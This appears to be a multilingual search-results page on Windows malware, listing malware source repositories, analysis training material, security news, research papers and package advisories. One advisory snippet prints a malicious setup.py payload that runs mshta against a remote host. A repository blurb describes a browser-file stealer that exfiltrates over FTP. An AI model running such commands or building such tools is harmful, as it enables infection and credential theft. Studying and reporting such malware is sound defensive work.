MalwareSourceCode

由 vx-underground 管理 | 在 Twitter 上关注我们 | 在 VXUG/samples 页面下载恶意软件样本 免责声明： 在适用法律允许的最大范围内，vx-underground 和/或向 vx-underground 提交内容的关联方，不对任何间接、附带、特殊、后果性或惩罚性损害赔偿，或任何直接或间接产生的利润或收入损失，或任何数据、使用、商誉或其他无形损失负责，这些损失源于 i 您访问本资源和/或无法访问本资源；ii 本资源引用的任何第三方的任何行为或内容，包括但不限于其他用户或第三方的任何诽谤、冒犯或非法行为；iii 从本资源获取的任何内容 说明...

TurkoRat

TELEGRAM 版本 ⚔️ TurkoRat 🛡️ Telegram 服务器：https://t.me/turcoflex Discord 服务器：https://discord.gg/xTsJReFG84 加入新 Discord 🌐 〢 目录 📁 设置 ⚔️ 功能 📸 截图 📝 待办事项 📜 许可证 ⚠️ 注意 📁 〢 设置 安装 Node.js 重要提示：安装 Node.js 时，同时安装“Tools for Native Modules” = 勾选 Automatically install the necessary tools. Note that this will also...

spybrowse

BrowseSpy 请务必修改代码中所有 FTP 变量，这些变量包含接收文件的 FTP 服务器的用户名、密码和 IP 地址。 本代码将执行以下操作： 1. 将自身复制到 %TMP% 目录，并命名为 ursakta.exe 2. 添加注册表项，以便用户每次登录时自动执行 3. 检测用户正在使用的浏览器（Chrome、Firefox 或 Brave） 4. 搜索 Chrome、Firefox 或 Brave 浏览器目录中的文件 5. 在我们的 FTP 服务器上创建目录，然后将浏览器目录中的文件发送至 FTP 服务器 使用 MingW 在 Linux 上交叉编译 使用 Apt 安装命令： su...

malware_training_vol1

malwaretrainingvol1 Materiales para el entrenamiento de análisis de malware en Windows volumen 1 🚧 ADVERTENCIA: ¡trabajo en progreso! Se añadirá más material gradualmente. Contenido El objetivo de este entrenamiento es desarrollar la comprensión de diversas técnicas comunes utilizadas por el...

windows-malware-behavioral-analysis

Análisis de comportamiento de malware con REMnux y FLARE-VM Una investigación práctica de malware para el equipo azul que demuestra cómo se pueden analizar ejecutables sospechosos de Windows de forma segura dentro de un laboratorio aislado mediante técnicas de análisis de comportamiento. En lugar...

WTSRM

WTSRM - Repositorio de demostración de Writing Tiny Small Reliable Malware para mi correspondiente charla. Desengancha todas las DLL de Windows con \KnownDlls\ Sin dependencias de CRT Tamaño reducido Baja entropía Clave de cifrado de cadenas aleatoria por lo tanto, sin cadenas en texto plano...

Google Password Manager Attacks Could Let Malware Hijack Passkey-Protected Accounts

Malware running as an ordinary user on a Windows machine can sign into a victim's passkey-protected accounts without a fingerprint, a PIN, or anything at all appearing on the victim's screen. Unit 42 detailed three attack paths against Chrome's Google Password Manager cloud authenticator, which i...

Cruciferra Crypter Uses BYOVD and Process Ghosting to Hide Windows Malware

The China-linked cybercrime group behind the use of income tax-related phishing lures targeting Indian taxpayers, tax professionals, and corporate finance teams has been observed using a sophisticated crypter service called Cruciferra. According to a new analysis by Proofpoint, Cruciferra has bee...

“TTF Trap” Phishing Emails Use Fake Font Files to Deliver Windows Malware

An email that appears to contain a shipping document, payment request, or business proposal can infect a Windows…...

Malicious code in @ibrahim1337/baksen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ea195bd44e54cd1051fc279a0e871b02c15eea04f65c80979d756fa767f541b4 Package @ibrahim1337/baksen ships a Windows x64 infostealer toolkit that targets Chromium-family browsers Chrome, Brave, Edge, Opera, Opera GX on the...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

Fake ChatGPT download site infects Windows and Mac users with malware

A convincing fake website is impersonating OpenAI’s ChatGPT download page and infecting visitors with malware designed to steal passwords, browser data, cryptocurrency wallets, and other sensitive information. The site, openew.app, closely mimics OpenAI’s real ChatGPT download experience and offe...

A week in security (April 6 – April 12)

Last week on Malwarebytes Labs: Fake Claude site installs malware that gives attackers access to your computer ClickFix finds a new way to infect Macs Scammers pose as Amazon support to steal your account NSFW app leak exposes 70,000 prompts linked to individual users 30,000 private Facebook imag...

Label-Efficient Training Updates for Malware Detection over Time

Machine Learning ML-based detectors are becoming essential to counter the proliferation of malware. However, common ML algorithms are not designed to cope with the dynamic nature of real-world settings, where both legitimate and malicious software evolve. This distribution drift causes models...

New Fake Zoom Meeting Invite Scam Spreads Malware on Windows PCs

Cybersecurity researchers at Sublime Security have discovered a new scam that uses realistic, interactive JavaScript-based Zoom meeting invites to trick users into installing malware...

Internet Malware Propagation: Dynamics and Control through SEIRV Epidemic Model with Relapse and Intervention

Malware attacks in today's vast digital ecosystem pose a serious threat. Understanding malware propagation dynamics and designing effective control strategies are therefore essential. In this work, we propose a generic SEIRV model formulated using ordinary differential equations to study malware...

How fake party invitations are being used to install remote access tools

“You’re invited!” It sounds friendly, familiar and quite harmless. But in a scam we recently spotted, that simple phrase is being used to trick victims into installing a full remote access tool on their Windows computers—giving attackers complete control of the system. What appears to be a casual...

Windows Malware Uses Pulsar RAT for Live Chats While Stealing Data

We usually think of computer viruses as silent, invisible programs running in the background, but a worrying discovery shows that modern hackers are getting much more personal...

📄 Backdoor.Win32.Poison.jh Insecure File Permissions / Privilege Escalation

This python script demonstrates a local privilege escalation exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. The exploit leverages insecure file permissions created by the malware itself, allowing any local user to replace the malicious executable with arbitrary...

Torrent for DiCaprio’s “One Battle After Another” Movie Drops Agent Tesla

Bitdefender researchers warn that the torrent for Leonardo DiCaprio’s One Battle After Another is a trap deploying Agent Tesla malware. Learn how the fileless LOTL attack targets unsuspecting Windows users...